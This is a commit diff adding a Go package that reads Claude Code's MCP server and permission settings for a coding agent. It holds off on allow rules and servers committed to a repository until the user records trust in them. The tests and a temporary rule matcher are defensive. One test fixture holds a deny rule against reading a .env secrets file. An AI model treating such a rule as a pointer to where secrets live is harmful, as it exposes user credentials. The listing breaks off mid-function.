Reads .mcp.json, ~/.claude.json and the three settings files. Deny and ask rules count from every file; allow rules and .mcp.json servers that came from the repository wait for a trust decision recorded outside it, against a fingerprint of the exact definitions. match.go is a small stand-in rule matcher, to be swapped for the shared parser at merge. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Showing 9 changed files with 1884 additions and 0 deletions.
| @@ -0,0 +1,96 @@ | ||
| 1 | + // Package ccsettings reads the configuration Claude Code keeps for a user and | |
| 2 | + // for a project, so that someone who already set Claude Code up does not have | |
| 3 | + // to set Codey up a second time: the MCP servers it knows about, the | |
| 4 | + // permission rules in its settings files, and the CLAUDE.md files it loads | |
| 5 | + // into every conversation. | |
| 6 | + // | |
| 7 | + // Reading is the easy half. The half that needs care is what is honoured, and | |
| 8 | + // it turns on who wrote each file. ~/.claude.json and ~/.claude/settings.json | |
| 9 | + // are the user's own, written by the user or by `claude` on their behalf, and | |
| 10 | + // they carry the same weight as Codey's own config. A project's .mcp.json and | |
| 11 | + // .claude/settings.json are committed to the repository, which means they were | |
| 12 | + // written by whoever wrote the repository: starting a server listed there is | |
| 13 | + // running a command a stranger chose, and an allow rule there is a stranger | |
| 14 | + // deciding what runs without asking. Those two are honoured only once the user | |
| 15 | + // has said, for this checkout and these exact definitions, that they trust | |
| 16 | + // them — the same bargain Claude Code's own trust dialog strikes. Anything | |
| 17 | + // that can only take power away — a deny rule, an ask rule — is honoured from | |
| 18 | + // every file, because nobody is harmed by an agent that asks more often. | |
| 19 | + // | |
| 20 | + // Nothing here writes to Claude Code's files. The one file this package | |
| 21 | + // writes is Codey's own record of those trust decisions. | |
| 22 | + package ccsettings | |
| 23 | + | |
| 24 | + import ( | |
| 25 | + "encoding/json" | |
| 26 | + "errors" | |
| 27 | + "fmt" | |
| 28 | + "io/fs" | |
| 29 | + "os" | |
| 30 | + "path/filepath" | |
| 31 | + "strings" | |
| 32 | + ) | |
| 33 | + | |
| 34 | + // Scope is who a setting belongs to, which is what decides whether it is | |
| 35 | + // honoured without asking. | |
| 36 | + type Scope string | |
| 37 | + | |
| 38 | + const ( | |
| 39 | + // ScopeUser is the user's own, for every project: ~/.claude/settings.json, | |
| 40 | + // and the top-level servers in ~/.claude.json. | |
| 41 | + ScopeUser Scope = "user" | |
| 42 | + // ScopeProject is committed to the repository: .mcp.json and | |
| 43 | + // .claude/settings.json at the working root. Written by whoever wrote the | |
| 44 | + // repository, so what it grants waits for trust. | |
| 45 | + ScopeProject Scope = "project" | |
| 46 | + // ScopeLocal is the user's own, for this project only: | |
| 47 | + // .claude/settings.local.json, which Claude Code keeps out of git, and the | |
| 48 | + // per-project servers in ~/.claude.json, which `claude mcp add` writes. | |
| 49 | + ScopeLocal Scope = "local" | |
| 50 | + ) | |
| 51 | + | |
| 52 | + // File names, relative to the home directory or the working root. | |
| 53 | + const ( | |
| 54 | + ClaudeJSON = ".claude.json" | |
| 55 | + UserSettings = ".claude/settings.json" | |
| 56 | + ProjectSettings = ".claude/settings.json" | |
| 57 | + LocalSettings = ".claude/settings.local.json" | |
| 58 | + ProjectMCP = ".mcp.json" | |
| 59 | + UserInstructions = ".claude/CLAUDE.md" | |
| 60 | + instructionsName = "CLAUDE.md" | |
| 61 | + localInstructions = "CLAUDE.local.md" | |
| 62 | + ) | |
| 63 | + | |
| 64 | + // readJSON decodes a file into v. A missing file is (false, nil): every file | |
| 65 | + // here is optional, and most machines have none of them. | |
| 66 | + func readJSON(path string, v any) (bool, error) { | |
| 67 | + raw, err := os.ReadFile(path) | |
| 68 | + if errors.Is(err, fs.ErrNotExist) { | |
| 69 | + return false, nil | |
| 70 | + } | |
| 71 | + if err != nil { | |
| 72 | + return false, err | |
| 73 | + } | |
| 74 | + if err := json.Unmarshal(raw, v); err != nil { | |
| 75 | + return false, fmt.Errorf("%s is not valid JSON: %w", path, err) | |
| 76 | + } | |
| 77 | + return true, nil | |
| 78 | + } | |
| 79 | + | |
| 80 | + // shown is how a path is written in a message: under ~ when it is in the home | |
| 81 | + // directory, relative when it is in the working root, absolute otherwise. A | |
| 82 | + // prompt that says ".mcp.json" is one a person reads; one that says | |
| 83 | + // /home/someone/src/thing/.mcp.json is one they skim. | |
| 84 | + func shown(home, root, path string) string { | |
| 85 | + if root != "" { | |
| 86 | + if rel, err := filepath.Rel(root, path); err == nil && !strings.HasPrefix(rel, "..") { | |
| 87 | + return filepath.ToSlash(rel) | |
| 88 | + } | |
| 89 | + } | |
| 90 | + if home != "" { | |
| 91 | + if rel, err := filepath.Rel(home, path); err == nil && !strings.HasPrefix(rel, "..") { | |
| 92 | + return "~/" + filepath.ToSlash(rel) | |
| 93 | + } | |
| 94 | + } | |
| 95 | + return path | |
| 96 | + } | |
| @@ -0,0 +1,293 @@ | ||
| 1 | + package ccsettings | |
| 2 | + | |
| 3 | + import ( | |
| 4 | + "os" | |
| 5 | + "os/exec" | |
| 6 | + "path/filepath" | |
| 7 | + "reflect" | |
| 8 | + "strings" | |
| 9 | + "testing" | |
| 10 | + | |
| 11 | + "github.com/johannSo/codey/internal/config" | |
| 12 | + ) | |
| 13 | + | |
| 14 | + // write puts a file under dir, creating its parents. Every test here builds | |
| 15 | + // its own home and root under t.TempDir: nothing may read the real ~/.claude*. | |
| 16 | + func write(t *testing.T, dir, rel, body string) string { | |
| 17 | + t.Helper() | |
| 18 | + path := filepath.Join(dir, rel) | |
| 19 | + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { | |
| 20 | + t.Fatal(err) | |
| 21 | + } | |
| 22 | + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { | |
| 23 | + t.Fatal(err) | |
| 24 | + } | |
| 25 | + return path | |
| 26 | + } | |
| 27 | + | |
| 28 | + func dirs(t *testing.T) (home, root string) { | |
| 29 | + t.Helper() | |
| 30 | + base := t.TempDir() | |
| 31 | + home = filepath.Join(base, "home") | |
| 32 | + root = filepath.Join(home, "src", "proj") | |
| 33 | + if err := os.MkdirAll(root, 0o755); err != nil { | |
| 34 | + t.Fatal(err) | |
| 35 | + } | |
| 36 | + return home, root | |
| 37 | + } | |
| 38 | + | |
| 39 | + func TestLoadPermissionsReadsTheThreeFiles(t *testing.T) { | |
| 40 | + home, root := dirs(t) | |
| 41 | + write(t, home, UserSettings, `{"permissions":{"allow":["Bash(go test:*)"],"defaultMode":"acceptEdits"},"model":"opus","env":{"X":"1"}}`) | |
| 42 | + write(t, root, ProjectSettings, `{"permissions":{"allow":["Bash(make:*)"],"deny":["Read(.env)"]}}`) | |
| 43 | + write(t, root, LocalSettings, `{"permissions":{"ask":["Bash(git push:*)"]}}`) | |
| 44 | + | |
| 45 | + got, errs := LoadPermissions(home, root) | |
| 46 | + if len(errs) != 0 { | |
| 47 | + t.Fatalf("errors: %v", errs) | |
| 48 | + } | |
| 49 | + want := []Permissions{ | |
| 50 | + {Scope: ScopeUser, Shown: "~/.claude/settings.json", Allow: []string{"Bash(go test:*)"}, DefaultMode: "acceptEdits"}, | |
| 51 | + {Scope: ScopeProject, Shown: ".claude/settings.json", Allow: []string{"Bash(make:*)"}, Deny: []string{"Read(.env)"}}, | |
| 52 | + {Scope: ScopeLocal, Shown: ".claude/settings.local.json", Ask: []string{"Bash(git push:*)"}}, | |
| 53 | + } | |
| 54 | + for i := range got { | |
| 55 | + got[i].Path = "" | |
| 56 | + } | |
| 57 | + if !reflect.DeepEqual(got, want) { | |
| 58 | + t.Errorf("got %+v\nwant %+v", got, want) | |
| 59 | + } | |
| 60 | + } | |
| 61 | + | |
| 62 | + func TestLoadPermissionsShapes(t *testing.T) { | |
| 63 | + tests := []struct { | |
| 64 | + name string | |
| 65 | + body string | |
| 66 | + wantFiles int | |
| 67 | + wantErr bool | |
| 68 | + }{ | |
| 69 | + {"no file", "", 0, false}, | |
| 70 | + {"empty object", `{}`, 1, false}, | |
| 71 | + {"no permissions block", `{"hooks":{"PreToolUse":[]}}`, 1, false}, | |
| 72 | + {"broken JSON", `{"permissions":`, 0, true}, | |
| 73 | + } | |
| 74 | + for _, tc := range tests { | |
| 75 | + t.Run(tc.name, func(t *testing.T) { | |
| 76 | + home, root := dirs(t) | |
| 77 | + if tc.body != "" { | |
| 78 | + write(t, root, ProjectSettings, tc.body) | |
| 79 | + } | |
| 80 | + got, errs := LoadPermissions(home, root) | |
| 81 | + if len(got) != tc.wantFiles || (len(errs) > 0) != tc.wantErr { | |
| 82 | + t.Errorf("files %d errs %v, want %d files, error %v", len(got), errs, tc.wantFiles, tc.wantErr) | |
| 83 | + } | |
| 84 | + }) | |
| 85 | + } | |
| 86 | + } | |
| 87 | + | |
| 88 | + // Started in the home directory, the user's settings are the user's, not a | |
| 89 | + // project's: reading them a second time as shared project settings would hold | |
| 90 | + // their allow rules hostage to a trust prompt about themselves. | |
| 91 | + func TestLoadPermissionsRootIsHome(t *testing.T) { | |
| 92 | + home, _ := dirs(t) | |
| 93 | + write(t, home, UserSettings, `{"permissions":{"allow":["Edit"]}}`) | |
| 94 | + got, _ := LoadPermissions(home, home) | |
| 95 | + if len(got) != 1 || got[0].Scope != ScopeUser { | |
| 96 | + t.Errorf("got %+v, want only the user file", got) | |
| 97 | + } | |
| 98 | + } | |
| 99 | + | |
| 100 | + // A settings.local.json is supposed to be kept out of git. One that git is | |
| 101 | + // tracking arrived with the clone, and gets no more trust than the shared | |
| 102 | + // file. | |
| 103 | + func TestTrackedLocalSettingsAreProjectScope(t *testing.T) { | |
| 104 | + if _, err := exec.LookPath("git"); err != nil { | |
| 105 | + t.Skip("no git") | |
| 106 | + } | |
| 107 | + home, root := dirs(t) | |
| 108 | + write(t, root, LocalSettings, `{"permissions":{"allow":["Bash"]}}`) | |
| 109 | + for _, args := range [][]string{{"init", "-q"}, {"add", "-f", LocalSettings}} { | |
| 110 | + cmd := exec.Command("git", args...) | |
| 111 | + cmd.Dir = root | |
| 112 | + cmd.Env = append(os.Environ(), "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null") | |
| 113 | + if out, err := cmd.CombinedOutput(); err != nil { | |
| 114 | + t.Fatalf("git %v: %v\n%s", args, err, out) | |
| 115 | + } | |
| 116 | + } | |
| 117 | + got, _ := LoadPermissions(home, root) | |
| 118 | + if len(got) != 1 || got[0].Scope != ScopeProject || !got[0].Tracked { | |
| 119 | + t.Fatalf("got %+v, want a tracked, project-scope file", got) | |
| 120 | + } | |
| 121 | + rs, _ := NewRuleset(home, root, got, false) | |
| 122 | + if v := rs.Check("bash", []byte(`{"command":"ls"}`)); v.Verdict != 0 { | |
| 123 | + t.Errorf("an untrusted, committed local file's allow rule was honoured: %+v", v) | |
| 124 | + } | |
| 125 | + } | |
| 126 | + | |
| 127 | + func TestLoadMCPShapes(t *testing.T) { | |
| 128 | + home, root := dirs(t) | |
| 129 | + write(t, root, ProjectMCP, `{"mcpServers":{ | |
| 130 | + "plain": {"command":"plain-mcp","args":["--x"]}, | |
| 131 | + "typed": {"type":"stdio","command":"typed-mcp","env":{"K":"v"}}, | |
| 132 | + "web": {"type":"http","url":"https://example.com/mcp"}, | |
| 133 | + "old": {"type":"sse","url":"https://example.com/sse"}, | |
| 134 | + "bare": {"url":"https://example.com/u"} | |
| 135 | + }}`) | |
| 136 | + write(t, home, ClaudeJSON, `{ | |
| 137 | + "numStartups": 12, | |
| 138 | + "mcpServers": {"mine": {"command":"mine-mcp"}}, | |
| 139 | + "projects": { | |
| 140 | + "`+root+`": {"mcpServers": {"here": {"command":"here-mcp"}}, "allowedTools": []}, | |
| 141 | + "/elsewhere": {"mcpServers": {"there": {"command":"there-mcp"}}} | |
| 142 | + } | |
| 143 | + }`) | |
| 144 | + | |
| 145 | + files, errs := LoadMCP(home, root) | |
| 146 | + if len(errs) != 3 { | |
| 147 | + t.Errorf("want one error per remote server, got %v", errs) | |
| 148 | + } | |
| 149 | + for _, err := range errs { | |
| 150 | + if !strings.Contains(err.Error(), "stdio") { | |
| 151 | + t.Errorf("error %q should say Codey speaks only stdio", err) | |
| 152 | + } | |
| 153 | + } | |
| 154 | + var got []string | |
| 155 | + for _, f := range files { | |
| 156 | + got = append(got, string(f.Scope)+":"+strings.Join(sortedNames(f.Servers), ",")) | |
| 157 | + } | |
| 158 | + want := []string{"local:here", "project:plain,typed", "user:mine"} | |
| 159 | + if !reflect.DeepEqual(got, want) { | |
| 160 | + t.Errorf("files %v, want %v (most specific first)", got, want) | |
| 161 | + } | |
| 162 | + } | |
| 163 | + | |
| 164 | + // Claude Code keys a project by the path it was started in; a root reached | |
| 165 | + // through a symlink is still that project. | |
| 166 | + func TestLoadMCPFindsProjectThroughSymlink(t *testing.T) { | |
| 167 | + home, root := dirs(t) | |
| 168 | + link := filepath.Join(filepath.Dir(home), "link") | |
| 169 | + if err := os.Symlink(root, link); err != nil { | |
| 170 | + t.Skip(err) | |
| 171 | + } | |
| 172 | + write(t, home, ClaudeJSON, `{"projects":{"`+root+`":{"mcpServers":{"here":{"command":"x"}}}}}`) | |
| 173 | + files, _ := LoadMCP(home, link) | |
| 174 | + if len(files) != 1 || files[0].Scope != ScopeLocal { | |
| 175 | + t.Errorf("got %+v", files) | |
| 176 | + } | |
| 177 | + } | |
| 178 | + | |
| 179 | + func TestLoadMCPBrokenFileIsReported(t *testing.T) { | |
| 180 | + home, root := dirs(t) | |
| 181 | + write(t, root, ProjectMCP, `{"mcpServers": [`) | |
| 182 | + files, errs := LoadMCP(home, root) | |
| 183 | + if len(files) != 0 || len(errs) != 1 { | |
| 184 | + t.Errorf("files %v errs %v", files, errs) | |
| 185 | + } | |
| 186 | + } | |
| 187 | + | |
| 188 | + func env(m map[string]string) func(string) (string, bool) { | |
| 189 | + return func(k string) (string, bool) { v, ok := m[k]; return v, ok } | |
| 190 | + } | |
| 191 | + | |
| 192 | + func TestMergeMCPPrecedence(t *testing.T) { | |
| 193 | + files := []MCPFile{ | |
| 194 | + {Scope: ScopeLocal, Shown: "~/.claude.json (this project)", Servers: map[string]ServerDef{ | |
| 195 | + "db": {Command: "local-db"}, "only-local": {Command: "l"}}}, | |
| 196 | + {Scope: ScopeProject, Shown: ".mcp.json", Servers: map[string]ServerDef{ | |
| 197 | + "db": {Command: "project-db"}, "fs": {Command: "project-fs"}, "lint": {Command: "project-lint"}}}, | |
| 198 | + {Scope: ScopeUser, Shown: "~/.claude.json", Servers: map[string]ServerDef{ | |
| 199 | + "fs": {Command: "user-fs"}, "lint": {Command: "user-lint"}, "only-user": {Command: "u"}}}, | |
| 200 | + } | |
| 201 | + own := map[string]config.MCPServer{"lint": {Command: "codey-lint"}} | |
| 202 | + | |
| 203 | + tests := []struct { | |
| 204 | + name string | |
| 205 | + trusted bool | |
| 206 | + want map[string]string | |
| 207 | + wantNotes int | |
| 208 | + }{ | |
| 209 | + { | |
| 210 | + name: "trusted", | |
| 211 | + trusted: true, | |
| 212 | + want: map[string]string{ | |
| 213 | + "lint": "codey-lint", "db": "local-db", "fs": "project-fs", | |
| 214 | + "only-local": "l", "only-user": "u", | |
| 215 | + }, | |
| 216 | + // db: local over project; lint: codey over project and user; | |
| 217 | + // fs: project over user. | |
| 218 | + wantNotes: 4, | |
| 219 | + }, | |
| 220 | + { | |
| 221 | + name: "untrusted project servers give way to the user's own", | |
| 222 | + trusted: false, | |
| 223 | + want: map[string]string{ | |
| 224 | + "lint": "codey-lint", "db": "local-db", "fs": "user-fs", | |
| 225 | + "only-local": "l", "only-user": "u", | |
| 226 | + }, | |
| 227 | + wantNotes: 1, | |
| 228 | + }, | |
| 229 | + } | |
| 230 | + for _, tc := range tests { | |
| 231 | + t.Run(tc.name, func(t *testing.T) { | |
| 232 | + got, notes := MergeMCP(own, files, tc.trusted, env(nil)) | |
| 233 | + commands := map[string]string{} | |
| 234 | + for n, s := range got { | |
| 235 | + commands[n] = s.Command | |
| 236 | + } | |
| 237 | + if !reflect.DeepEqual(commands, tc.want) { | |
| 238 | + t.Errorf("got %v, want %v", commands, tc.want) | |
| 239 | + } | |
| 240 | + if len(notes) != tc.wantNotes { | |
| 241 | + t.Errorf("notes %q, want %d", notes, tc.wantNotes) | |
| 242 | + } | |
| 243 | + for _, n := range notes { | |
| 244 | + if !strings.Contains(n, "using the one in") { | |
| 245 | + t.Errorf("clash note %q should name the winner", n) | |
| 246 | + } | |
| 247 | + } | |
| 248 | + }) | |
| 249 | + } | |
| 250 | + } | |
| 251 | + | |
| 252 | + func TestExpand(t *testing.T) { | |
| 253 | + vars := env(map[string]string{"HOME": "/h", "EMPTY": "", "PORT": "5432"}) | |
| 254 | + tests := []struct { | |
| 255 | + in, want string | |
| 256 | + wantErr bool | |
| 257 | + }{ | |
| 258 | + {"plain", "plain", false}, | |
| 259 | + {"${HOME}/bin/tool", "/h/bin/tool", false}, | |
| 260 | + {"--port=${PORT}", "--port=5432", false}, | |
| 261 | + {"${MISSING:-fallback}", "fallback", false}, | |
| 262 | + {"${EMPTY:-fallback}", "fallback", false}, | |
| 263 | + {"${HOME:-unused}", "/h", false}, | |
| 264 | + {"${MISSING:-}", "", false}, | |
| 265 | + {"${A:-x}${B:-y}", "xy", false}, | |
| 266 | + {"$HOME stays", "$HOME stays", false}, | |
| 267 | + {"${MISSING}", "", true}, | |
| 268 | + } | |
| 269 | + for _, tc := range tests { | |
| 270 | + got, err := expand(tc.in, vars) | |
| 271 | + if (err != nil) != tc.wantErr || got != tc.want { | |
| 272 | + t.Errorf("expand(%q) = %q, %v; want %q, error %v", tc.in, got, err, tc.want, tc.wantErr) | |
| 273 | + } | |
| 274 | + } | |
| 275 | + } | |
| 276 | + | |
| 277 | + func TestMergeMCPExpandsEverywhere(t *testing.T) { | |
| 278 | + files := []MCPFile{{Scope: ScopeUser, Shown: "~/.claude.json", Servers: map[string]ServerDef{ | |
| 279 | + "db": {Command: "${BIN:-/usr/bin}/db", Args: []string{"--url", "${DB_URL}"}, Env: map[string]string{"TOKEN": "${TOKEN}"}}, | |
| 280 | + "broken": {Command: "x", Args: []string{"${NOPE}"}}, | |
| 281 | + }}} | |
| 282 | + got, notes := MergeMCP(nil, files, false, env(map[string]string{"DB_URL": "pg://x", "TOKEN": "t"})) | |
| 283 | + want := config.MCPServer{Command: "/usr/bin/db", Args: []string{"--url", "pg://x"}, Env: map[string]string{"TOKEN": "t"}} | |
| 284 | + if !reflect.DeepEqual(got["db"], want) { | |
| 285 | + t.Errorf("db = %+v, want %+v", got["db"], want) | |
| 286 | + } | |
| 287 | + if _, ok := got["broken"]; ok { | |
| 288 | + t.Error("a server with an unset variable and no default should not start") | |
| 289 | + } | |
| 290 | + if len(notes) != 1 || !strings.Contains(notes[0], "NOPE") { | |
| 291 | + t.Errorf("notes %q should name the missing variable", notes) | |
| 292 | + } | |
| 293 | + } | |
| @@ -0,0 +1,376 @@ | ||
| 1 | + package ccsettings | |
| 2 | + | |
| 3 | + // TEMPORARY MATCHER — swap at merge. | |
| 4 | + // | |
| 5 | + // This file is a deliberately small parser and matcher for Claude Code | |
| 6 | + // permission rules, written so the loading and honouring in this package could | |
| 7 | + // be tested end to end while the shared rule parser (ParseRule / Rule.Matches) | |
| 8 | + // was being written elsewhere. Everything outside this file talks to it | |
| 9 | + // through compile and the compiled interface, so replacing it means writing an | |
| 10 | + // adapter from the shared Rule to compiled and deleting this file. The | |
| 11 | + // tri-state result and the allow-versus-deny distinction for compound shell | |
| 12 | + // commands are the parts an adapter must keep; see Match and matchMode. | |
| 13 | + | |
| 14 | + import ( | |
| 15 | + "encoding/json" | |
| 16 | + "fmt" | |
| 17 | + "net/url" | |
| 18 | + "path/filepath" | |
| 19 | + "regexp" | |
| 20 | + "strings" | |
| 21 | + | |
| 22 | + "github.com/bmatcuk/doublestar/v4" | |
| 23 | + | |
| 24 | + "github.com/johannSo/codey/internal/approval" | |
| 25 | + ) | |
| 26 | + | |
| 27 | + // Match is the result of checking one rule against one call. | |
| 28 | + type Match int | |
| 29 | + | |
| 30 | + const ( | |
| 31 | + NoMatch Match = iota | |
| 32 | + Matched | |
| 33 | + // Unsure means the call cannot be pinned down well enough to say — an | |
| 34 | + // opaque shell command, a word built at run time. An allow rule treats it | |
| 35 | + // as no match; a deny or ask rule treats it as a reason to ask. | |
| 36 | + Unsure | |
| 37 | + ) | |
| 38 | + | |
| 39 | + // matchMode is which kind of rule is asking. It matters for compound shell | |
| 40 | + // commands: an allow rule covers "a && b" only if it covers both, while a | |
| 41 | + // deny rule catches it if it catches either. | |
| 42 | + type matchMode int | |
| 43 | + | |
| 44 | + const ( | |
| 45 | + forAllow matchMode = iota | |
| 46 | + forRestrict | |
| 47 | + ) | |
| 48 | + | |
| 49 | + // compiled is one parsed rule. | |
| 50 | + type compiled interface { | |
| 51 | + Match(tool string, input json.RawMessage, mode matchMode) Match | |
| 52 | + } | |
| 53 | + | |
| 54 | + // matchEnv is what relative rule paths are resolved against. | |
| 55 | + type matchEnv struct { | |
| 56 | + home, root string | |
| 57 | + } | |
| 58 | + | |
| 59 | + // codeyTools maps Claude Code's tool names to Codey's. Edit covers both of | |
| 60 | + // Codey's writing tools, as Claude Code's Edit rules cover all of its own; Read | |
| 61 | + // covers the search tools as well, on a best-effort basis, as it does there. | |
| 62 | + var codeyTools = map[string][]string{ | |
| 63 | + "Bash": {"bash"}, | |
| 64 | + "Read": {"read_file", "glob", "grep"}, | |
| 65 | + "Edit": {"edit_file", "write_file"}, | |
| 66 | + "MultiEdit": {"edit_file"}, | |
| 67 | + "Write": {"write_file"}, | |
| 68 | + "Glob": {"glob"}, | |
| 69 | + "Grep": {"grep"}, | |
| 70 | + "WebFetch": {"web_fetch"}, | |
| 71 | + "WebSearch": {"web_search"}, | |
| 72 | + "TodoWrite": {"todo_write"}, | |
| 73 | + } | |
| 74 | + | |
| 75 | + var ruleShape = regexp.MustCompile(`^([A-Za-z0-9_\-]+(?:__\*)?)(?:\((.*)\))?$`) | |
| 76 | + | |
| 77 | + // compile parses a rule. An error means the rule names something Codey has no | |
| 78 | + // equivalent for, or uses a specifier this matcher does not understand; the | |
| 79 | + // caller reports it and the rule takes no part. | |
| 80 | + func compile(rule string, env matchEnv) (compiled, error) { | |
| 81 | + m := ruleShape.FindStringSubmatch(strings.TrimSpace(rule)) | |
| 82 | + if m == nil { | |
| 83 | + return nil, fmt.Errorf("not a rule Codey can read") | |
| 84 | + } | |
| 85 | + name, spec := m[1], strings.TrimSpace(m[2]) | |
| 86 | + hasSpec := spec != "" && spec != "*" | |
| 87 | + | |
| 88 | + if strings.HasPrefix(name, "mcp__") { | |
| 89 | + if m[2] != "" { | |
| 90 | + return nil, fmt.Errorf("an MCP rule takes no specifier") | |
| 91 | + } | |
| 92 | + return mcpRule(name), nil | |
| 93 | + } | |
| 94 | + tools, ok := codeyTools[name] | |
| 95 | + if !ok { | |
| 96 | + return nil, fmt.Errorf("Codey has no %s tool", name) | |
| 97 | + } | |
| 98 | + if !hasSpec { | |
| 99 | + return toolRule(tools), nil | |
| 100 | + } | |
| 101 | + switch name { | |
| 102 | + case "Bash": | |
| 103 | + return newBashRule(spec), nil | |
| 104 | + case "Read", "Edit", "MultiEdit", "Write", "Glob", "Grep": | |
| 105 | + return newPathRule(tools, spec, env), nil | |
| 106 | + case "WebFetch": | |
| 107 | + if d, ok := strings.CutPrefix(spec, "domain:"); ok && d != "" { | |
| 108 | + return domainRule(strings.ToLower(d)), nil | |
| 109 | + } | |
| 110 | + } | |
| 111 | + return nil, fmt.Errorf("Codey does not understand the specifier %q", spec) | |
| 112 | + } | |
| 113 | + | |
| 114 | + // toolRule is a bare tool name: every call of it. | |
| 115 | + type toolRule []string | |
| 116 | + | |
| 117 | + func (r toolRule) Match(tool string, _ json.RawMessage, _ matchMode) Match { | |
| 118 | + for _, t := range r { | |
| 119 | + if t == tool { | |
| 120 | + return Matched | |
| 121 | + } | |
| 122 | + } | |
| 123 | + return NoMatch | |
| 124 | + } | |
| 125 | + | |
| 126 | + // mcpRule is mcp__server, mcp__server__* or mcp__server__tool. | |
| 127 | + type mcpRule string | |
| 128 | + | |
| 129 | + func (r mcpRule) Match(tool string, _ json.RawMessage, _ matchMode) Match { | |
| 130 | + name := string(r) | |
| 131 | + if server, ok := strings.CutSuffix(name, "__*"); ok { | |
| 132 | + name = server | |
| 133 | + } | |
| 134 | + if strings.Count(name, "__") == 1 { | |
| 135 | + // The whole server. | |
| 136 | + if strings.HasPrefix(tool, name+"__") { | |
| 137 | + return Matched | |
| 138 | + } | |
| 139 | + return NoMatch | |
| 140 | + } | |
| 141 | + if tool == name { | |
| 142 | + return Matched | |
| 143 | + } | |
| 144 | + return NoMatch | |
| 145 | + } | |
| 146 | + | |
| 147 | + // bashRule is Bash(spec): an exact command, a prefix written "cmd:*" or | |
| 148 | + // "cmd *", or a pattern with * in it. | |
| 149 | + type bashRule struct { | |
| 150 | + prefix []string // set for a prefix rule | |
| 151 | + exact []string // set for an exact rule | |
| 152 | + pattern *regexp.Regexp | |
| 153 | + } | |
| 154 | + | |
| 155 | + func newBashRule(spec string) bashRule { | |
| 156 | + if p, ok := strings.CutSuffix(spec, ":*"); ok { | |
| 157 | + return bashRule{prefix: strings.Fields(p)} | |
| 158 | + } | |
| 159 | + if p, ok := strings.CutSuffix(spec, " *"); ok && !strings.Contains(p, "*") { | |
| 160 | + return bashRule{prefix: strings.Fields(p)} | |
| 161 | + } | |
| 162 | + if strings.Contains(spec, "*") { | |
| 163 | + parts := strings.Split(strings.Join(strings.Fields(spec), " "), "*") | |
| 164 | + for i, p := range parts { | |
| 165 | + parts[i] = regexp.QuoteMeta(p) | |
| 166 | + } | |
| 167 | + return bashRule{pattern: regexp.MustCompile("^" + strings.Join(parts, ".*") + "$")} | |
| 168 | + } | |
| 169 | + return bashRule{exact: strings.Fields(spec)} | |
| 170 | + } | |
| 171 | + | |
| 172 | + func (r bashRule) Match(tool string, input json.RawMessage, mode matchMode) Match { | |
| 173 | + if tool != "bash" { | |
| 174 | + return NoMatch | |
| 175 | + } | |
| 176 | + var args struct { | |
| 177 | + Command string `json:"command"` | |
| 178 | + } | |
| 179 | + json.Unmarshal(input, &args) | |
| 180 | + cmds, info := approval.SimpleCommands(args.Command) | |
| 181 | + | |
| 182 | + if mode == forAllow { | |
| 183 | + // Allowing is all or nothing: every command in the line must be | |
| 184 | + // covered, and a line whose commands cannot all be seen covers | |
| 185 | + // nothing. | |
| 186 | + if info.Opaque || info.ParseError != nil || len(cmds) == 0 { | |
| 187 | + return NoMatch | |
| 188 | + } | |
| 189 | + for _, c := range cmds { | |
| 190 | + if !c.Pinned || r.one(c) != Matched { | |
| 191 | + return NoMatch | |
| 192 | + } | |
| 193 | + } | |
| 194 | + return Matched | |
| 195 | + } | |
| 196 | + | |
| 197 | + // Restricting needs one command to be caught. A line that cannot be seen | |
| 198 | + // all the way through might hide one, which is Unsure rather than a pass. | |
| 199 | + unsure := info.Opaque || info.ParseError != nil | |
| 200 | + for _, c := range cmds { | |
| 201 | + switch r.one(c) { | |
| 202 | + case Matched: | |
| 203 | + return Matched | |
| 204 | + case Unsure: | |
| 205 | + unsure = true | |
| 206 | + } | |
| 207 | + } | |
| 208 | + if unsure { | |
| 209 | + return Unsure | |
| 210 | + } | |
| 211 | + return NoMatch | |
| 212 | + } | |
| 213 | + | |
| 214 | + // one matches a single simple command. | |
| 215 | + func (r bashRule) one(c approval.SimpleCommand) Match { | |
| 216 | + switch { | |
| 217 | + case r.prefix != nil: | |
| 218 | + return wordsMatch(r.prefix, c, true) | |
| 219 | + case r.exact != nil: | |
| 220 | + return wordsMatch(r.exact, c, false) | |
| 221 | + default: | |
| 222 | + for _, lit := range c.Literal { | |
| 223 | + if !lit { | |
| 224 | + return Unsure | |
| 225 | + } | |
| 226 | + } | |
| 227 | + if r.pattern.MatchString(strings.Join(c.Words, " ")) { | |
| 228 | + return Matched | |
| 229 | + } | |
| 230 | + return NoMatch | |
| 231 | + } | |
| 232 | + } | |
| 233 | + | |
| 234 | + // wordsMatch compares a rule's words to a command's. A word the shell builds | |
| 235 | + // at run time could be anything, so meeting one before the comparison is | |
| 236 | + // settled is Unsure. | |
| 237 | + func wordsMatch(want []string, c approval.SimpleCommand, prefix bool) Match { | |
| 238 | + if len(c.Words) < len(want) || (!prefix && len(c.Words) != len(want)) { | |
| 239 | + return NoMatch | |
| 240 | + } | |
| 241 | + for i, w := range want { | |
| 242 | + if !c.Literal[i] { | |
| 243 | + return Unsure | |
| 244 | + } | |
| 245 | + if c.Words[i] != w { | |
| 246 | + return NoMatch | |
| 247 | + } | |
| 248 | + } | |
| 249 | + return Matched | |
| 250 | + } | |
| 251 | + | |
| 252 | + // pathRule is Read(spec), Edit(spec) and the like: a gitignore-style pattern | |
| 253 | + // over the path a tool is handed. | |
| 254 | + type pathRule struct { | |
| 255 | + tools []string | |
| 256 | + pattern string // absolute, slash-separated, doublestar syntax | |
| 257 | + root string | |
| 258 | + } | |
| 259 | + | |
| 260 | + // newPathRule resolves a pattern the way Claude Code documents it: | |
| 261 | + // //path is absolute, ~/path is under the home directory, /path is under | |
| 262 | + // the project root, and anything else is relative to the working directory — | |
| 263 | + // which for Codey is the root. A pattern with no slash in it matches at any | |
| 264 | + // depth, as it would in .gitignore. | |
| 265 | + func newPathRule(tools []string, spec string, env matchEnv) pathRule { | |
| 266 | + spec = strings.TrimSuffix(spec, "/") | |
| 267 | + var p string | |
| 268 | + switch { | |
| 269 | + case strings.HasPrefix(spec, "//"): | |
| 270 | + p = spec[1:] | |
| 271 | + case strings.HasPrefix(spec, "~/"): | |
| 272 | + p = escape(filepath.ToSlash(env.home)) + spec[1:] | |
| 273 | + case strings.HasPrefix(spec, "/"): | |
| 274 | + p = escape(filepath.ToSlash(env.root)) + spec | |
| 275 | + default: | |
